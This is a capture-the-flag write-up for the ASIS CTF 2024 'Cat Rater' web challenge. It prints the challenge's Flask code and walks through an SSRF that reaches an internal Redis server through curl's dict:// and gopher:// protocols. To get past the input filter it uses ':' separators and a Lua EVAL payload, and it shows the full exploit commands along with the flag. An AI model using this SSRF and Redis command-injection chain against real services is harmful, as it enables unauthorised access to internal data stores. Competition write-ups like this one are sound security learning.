---
# System prepended metadata

title: Cat Rater - ASIS 2024 Quals
tags: [redis, curl, ctf, ssrf]

---

# Cat Rater - ASIS 2024 Quals

Here's my writeup for the **Cat Rater** challenge at **ASIS CTF 2024 Quals**

## Introduction

Here is the main code of the challenge

```python=
from flask import Flask, render_template, session, request, redirect, flash
import subprocess
import secrets
import random
import redis
import uuid
import os
import re

app = Flask(__name__)
app.secret_key = secrets.token_bytes(32)
flag = os.environ.get('FLAG','ASIS{test-flag}')
rds = redis.Redis(host='redis', port=6379)
uuidReg = re.compile(r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$', re.IGNORECASE)

@app.route('/')
def index():
	return render_template('main.html')

@app.route('/rate',methods=['POST'])
def rate():
	link = request.form.get('link')
	if not link or re.search(r'[\x00-\x20\[\]%{}\-]',link) or not link.isascii():
		return 'Invalid link', 400, {'Content-Type': 'text/plain'}
	try:
		p = subprocess.run(["/usr/bin/curl",link],capture_output=True,timeout=0.5)
		if(p.returncode == 0):
			resultID = str(uuid.uuid4())
			rds.set(resultID,str(random.randint(1,9)))
			return redirect(f'/result?id={resultID}')
	except Exception as e:
		print(e)
	return 'Something bad happened', 500, {'Content-Type': 'text/plain'}

@app.route('/result')
def result():
	rid = request.args.get('id')
	if(not rid):
		return 'Result ID is missing', 400, {'Content-Type': 'text/plain'}
	if(not uuidReg.match(rid)):
		return 'Invalid ID', 400, {'Content-Type': 'text/plain'}
	result = rds.get(rid)
	if(not result):
		return 'Result not found', 400, {'Content-Type': 'text/plain'}
	result = int(result)
	if(result == 10):
		return render_template('result.html', msg=flag)
	else:
		return render_template('result.html', msg=f'Your cat got {result}/10')

if __name__ == "__main__":
	app.run(host='0.0.0.0', port=8080)

```

# How to work
Let's describe the code:
in the `/rate` path, we can make a request to the specified `link` with the `curl` command, if *command* succesfully finished, it will set a random number from **1-9** to *UUID* as the redis key and redirect us to `/result?id=<UUID>`.
And we can grab the value of the `UUID` in the `/result` path, if the value of redis key is equal to **10**, the *flag* returns to us, otherwise the value of redis key returns

```shell
$ curl http://cat-rater.asisctf.com/rate -d "link=http://example.com" -L
...
Your cat got 6/10
...
```


# How to get the flag
In the first point of view, i couldn't find any vulnerability in code and i thought there is no way to set a key to *10*, after a preiod of time, i figured out there is a vuln, and that is `SSRF` in the `/rate` path.
So i thought what if we make a request to `redis:6379`, so i thought that **Is there a way to send commands to redis via curl?**

Alright let's dig into it :)
I've run a redis container in my local host and tried to connect and send command with curl, at first i tried this
```sh
$ curl localhost:6379
curl: (52) Empty reply from server
```

> Note: by default curl use *http* as the protocol here, certainly redis:6379 wasn't a http server

Ok so, i read the curl's manpage and tried to use other protocols that curl supports, after trying each protocol, these protocols was useful to connect to redis and sending commands to it
- GOPHER
- TELNET
- DICT

I ignored the *TELNET*, because it will reads the payloads from *stdin* instead of url

```shell
$ echo "PING" | curl telnet://localhost:6379
+PONG
```

Then i tried the *GOPHER* and yeap, i can send command from url :)


```shell
$ curl gopher://localhost:6379/PING
-ERR unknown command 'ING', with args beginning with:

$ curl gopher://localhost:6379/_PING
+PONG
<wait for stdin>
```

I thought that i found the solution, until i realized that i can't use any of these `r'[\x00-\x20\[\]%{}\-]` in the `link` query parameter that restricts `blankspace:" "`, `Hyphen:"-"` and so on

> At this point I just wrote a python script to FUZZ the "link" to find a char that valid for redis as a delimiter, but didn't found anything :/

BTW, if the `blankspace` wasn't filterd by server this could works
```shell
$ curl "gopher://localhost:6379/_SET%20foo%20bar"
+OK
```

> Note that to get the flag we need to send a valid uuid that match with the `uuidReg` in server, so we can't use **(Hyphens) -**

After trying the `GOPHER` i thought that the `DICT` works like the `GOPHER` and i can't use `blankspace` or `-`

So i open up the Redis document to see which commands doesn't require arguments, to don't force me to use `blankspace`, i didn't found anything useful

> I think i was overthinking too much to this challenge during competition :/

After a couple of hours and digging more, i read out this [page](https://everything.curl.dev/usingcurl/dict.html) about `DICT` and figured out that i can use **":"** as `blankspace` in the url and it will replace into *blankspace*

```shell
$ curl dict://localhost:6379/SET:foo:bar         
-ERR unknown subcommand 'libcurl'. Try CLIENT HELP.
+OK
+OK

curl dict://localhost:6379/GET:foo    
-ERR unknown subcommand 'libcurl'. Try CLIENT HELP.
$3
bar
+OK
```

Well, seems half of way done, but what about the `-`

```shell
$ curl http://cat-rater.asisctf.com/rate -d "link=dict://redis:6479/SET:cf56ea1a-5175-4dbf-8e8f-7b2a1845039d:10" -L
Invalid link
```
so what now :/

After more digging in redis document, i found a way and it was `EVAL` commands and Lua Scripting, there was some built-in functions in redis like `redis.call` that we can call a command from `Lua`


## The final payload

I used `KEYS` command to get a list of keys, and used `table.concat` to concatenate the list into string, note that you need to use `KEYS <FIRST-PART-OF-YOUR-UUID>*` to filter the result and make a list of one item, so the `table.concat` returns the `<UUID>`

> NOTE: also we can't use [] to get specific index of arrays in Lua

This won't work, because **"[]"** are restricted in server
```redis!
127.0.0.1:6379> EVAL "return redis.call('keys','*')[1]" 0
"cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
```

But with `table.concat`
```redis!
127.0.0.1:6379> KEYS *
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
2) "foo1"
3) "foo"
127.0.0.1:6379> EVAL "return table.concat(redis.call('keys','*'))" 0
"cf56ea1a-5175-4dbf-8e8f-7b2a1845039dfoo1foo"
```

Notice that the `foo1foo` at the end of result, those are other keys in the redis, this is because you have to filters out the `KEYS` command result to return only one item and it must be your **UUID**

```redis!
127.0.0.1:6379> SET cf56ea1a-5175-4dbf-8e8f-7b2a1845039d 1
OK
127.0.0.1:6379> KEYS cf56ea1*
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
127.0.0.1:6379> EVAL "return redis.call('keys', 'cf56ea1a*')" 0
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
```

Then use `SET` command to set the `UUID` to `10` like bellow:

```redis
127.0.0.1:6379> EVAL "return redis.call('set',table.concat(redis.call('keys', 'cf56ea1a*')),10)" 0
OK
127.0.0.1:6379> keys *
1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d"
2) "foo1"
3) "foo"
127.0.0.1:6379> GET cf56ea1a-5175-4dbf-8e8f-7b2a1845039d
"10"
```

And yes the uuid becomes **10**
So let's grab the flag :)


#### Step one: Generating UUID
```
$ curl http://cat-rater.asisctf.com/rate -d "link=dict://redis:6379"    
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930">/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930</a>. If not, click the link.
```

the uuid: **50fbc1ff-16ba-46a0-89e3-43b0f0ef2930**

#### Step two: Set UUID to 10

```shell
$ curl http://cat-rater.asisctf.com/rate --data-raw "link=dict://redis:6379/EVAL:\"redis.call('set',table.concat(redis.call('keys','50fbc1ff*')),10)\":0"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
...
```

#### Step three and final step: Grab the flag

then just get the result of uuid
```shell
$ curl "http://cat-rater.asisctf.com/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930"
...
ASIS{105eadeea7d6e4d26e09da6d52d1bea8}
...
```

# Conclusion
I know i did a lot of silly things during the competition like FUZZING for `link` query parameter to bypass `blankspace`, and also trying to find a command that does not need an argument, but after all I have learned a lot of things about Redis, curl and a little of Lua

This was one the easiest web challenge at *ASIS CTF 2024 Quals* and it was quiet fun for me, thank to the author of this challenge
